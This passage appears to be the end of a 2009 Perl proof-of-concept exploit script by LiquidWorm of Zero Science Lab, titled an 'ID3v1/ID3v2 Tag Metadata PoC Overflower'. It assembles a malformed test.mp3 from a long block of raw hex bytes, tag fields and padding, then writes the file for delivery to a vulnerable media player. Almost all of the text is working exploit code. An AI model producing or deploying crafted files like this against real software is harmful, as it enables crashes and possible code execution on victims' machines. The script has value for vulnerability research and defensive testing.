"\xBA\x9C\xCE\x5A\x44\x9E\x5C\x3F\x47\x9C\xF8\xD1\xE1\xEC\xE5\x0D". "\xA2\x77\x8F\x26\xC4\x6B\x72\x08\xFC\x05\xD1\x14\xB0\xCB\x01\xE1". "\x1C\x17\xDD\xAF\x85\xA8\xD8\x82\xB4\x32\x18\x0F\x4D\x96\xE0\xE7". "\xA5\x14\x77\xA1\x02\x94\x30\xE9\xD8\x8C\x6A\x6E\x2F\xAC\x6D\x58". "\x94\xCE\x3D\x22\xA1\xB2\x38\xC2\xE1\x92\x1A\x43\xE7\xB9\x92\x0F". "\x47\x8E\xCB\x4F\x6B\x1A\xD7\x32\xA1\x9C\xDF\x7D\x9E\x19\xFE\x23". "\x7F\xB4\x32\x3E\x06\xEE\x54\xEB\xDB\xEC\xF3\xDD\x8A\x65\x7B\x15". "\xBF\x92\x12\x3F\x41\xA6\x37\xFE\x27\x96\xE0\xEF\xB6\x72\x7E\xFD". "\xAB\x9F\x1F\x4A\x01\x4B\xB6\x95\x50\x47\x11\xB0\x45\x52\x6F\xAF". "\xB0\x4E\xB6\xCC\x38\xD8\xDA\xC4\x25\x7D\xA6\xA1\xB6\x16\x83\x6A". "\x4E\xFF\xFB\x92\x04\x0E\x80\x03\x22\x64\xC7\xC8\xC1\x1E\x82\x62". "\x6B\x28\xF8\x24\x23\x82\x4B\x95\x07\x1F\x01\x84\x6E\x09\x7C\x9E". "\x65\xF4\x60\x8E\x0D\x56\xED\xAA\x5F\xD4\xD4\x3C\x6F\x91\x20\xB3". "\x7A\x36\xED\xBB\x71\x0A\x2E\xD9\x95\x8D\x20\x54\x5D\x8E\xEB\x97". "\x7C\xEA\x19\xD1\x70\xD9\xBF\x93\xCC\x8F\x43\x4B\x4A\xDF\xCE\x91". "\x65\xE4\x53\xF2\x24\x9F\xC6\x9F\xD7\xCB\x8C\xEA\x74\xA7\xE7\x08". "\x11\x2D\x52\x37\x3C\xF5\x98\xF6\xFA\x60\xA0\xB6\x82\x26\x80\x45". "\xC8\x87\x9B\x6A\x0B\x30\xB3\x0D\xCD\x44\x30\x9A\x3B\xB7\x5A\xDE". "\xCD\x0E\x34\xEA\xF5\x4F\x67\x2A\x72\xB5\x94\x9E\x39\x4E\x29\x83". "\x2C\xD3\xED\x2D\x49\xE9\xBE\x87\xE9\x9C\x1A\xA5\x39\x5D\xDF\x55". "\x3F\xFC\xF6\xA4\xF9\x17\x5B\xE5\x43\xDE\x9F\x08\xB4\xD2\xB7\x4A". "\x99\x73\x2B\x99\x74\xBC\xDD\xF1\x34\xDC\x66\xBF\x0F\xAC\x6C\xA3". "\xDB\x80\x18\x18\x0D\xFB\x75\x2C\x54\xF8\x85\x7D\xF9\xB1\x9A\x22". "\x81\x35\xE1\x04\xA0\x23\xE0\x94\xAB\x14\x64\xDD\xD2\x86\xC3\x78". "\x77\x0F\xD7\x16\x70\x9D\x75\xD6\x83\xBF\x06\xB1\x2B\x22\x12\x7F". "\xC3\xD2\xA6\x1E\x14\xEA\x76\x43\x72\xE9\xA9\x2E\xC5\x27\x38\x7B". "\xB6\x40\x97\x3C\xDD\xE7\x1C\xBC\xCE\x98\x42\xC9\x87\x67\xD1\x07". "\x4E\x82\xD6\x7F\xAB\x72\xD6\xD4\x73\xE1\x76\xF5\x1B\xFD\xA0\x72". "\x9F\xC7\x7F\x0E\xC9\x5B\x18\x4F\xE8\xE1\x82\x05\x9A\xDD\x2D\x96". "\x48\xDA\x45\x1E\xC6\x25\x7A\x3C\xA3\x1E\xD1\xCA\x54\xF3\x62\xE1". "\xDD\x0D\x60\x30\x26\x00\xEA\xA2\xF7\x52\x48\xB1\xE8\x33\xE9\x5F". "\xC5\x39\x1E\x1A\x14\x0E\x35\x91\x63\x7D\xA8\x53\x7C\xD4\x11\x34". "\x3F\x3B\x2A\x7F\xD2\x0B\x39\x95\x7E\x99\x86\x1C\xBF\x8C\x41\xDF". "\x09\x38\x88\xA1\xEE\x31\xE2\x28\xE9\xCD\xB1\xD8\xF2\xF7\x8C\xBF". "\x8F\x81\xEF\x27\xF8\xFC\xBC\xDF\x72\x93\xB5\x54\x41\x47"; my $title_end = "\x44\x44\x44\x44"; my $null1 = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; my $artist_end = "\x46\x46\x46\x46"; my $null2 = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; my $album_end = "\x48\x48\x48\x48"; my $null3 = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; my $year_end = "\x4A\x4A\x4A\x4A"; my $comment_end = "\x4D\x4D\x4D\x4D"; my $footer = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF"; open(out, "> test.mp3"); binmode(out); print (out $id3_header, $comment, $bpm_header, $bpm, $enc_header, $enc, $url_tag, $url, $copyr_tag, $copyr, $orar_tag, $orar, $pub_tag, $pub, $disc_tag, $disc, $title_tag, $title, $artist_tag, $artist, $album_tag, $album, $genre_tag, $genre, $year_tag, $year, $year_tag2, $year2, $comp_tag, $comp, $alar_tag, $alar, $track_tag, $track, $null, $data, $title_end, $null1, $artist_end, $null2, $album_end, $null3, $year_end, $comment_end, $footer ); print "\n>>> File test.mp3 created!\n"; close(out); sub header() { print " ===================================================== Mp3 File ID3v1/ID3v2 Tag Metadata PoC Overflower v1.0 ===================================================== by LiquidWorm - 2009 ----------------------------------------------------- "; } # June, 2009 (c) Gjoko Krstic - Zero Science Lab - Macedonian Security Research & Development Laboratory, http://www.zeroscience.org/ # # t00t!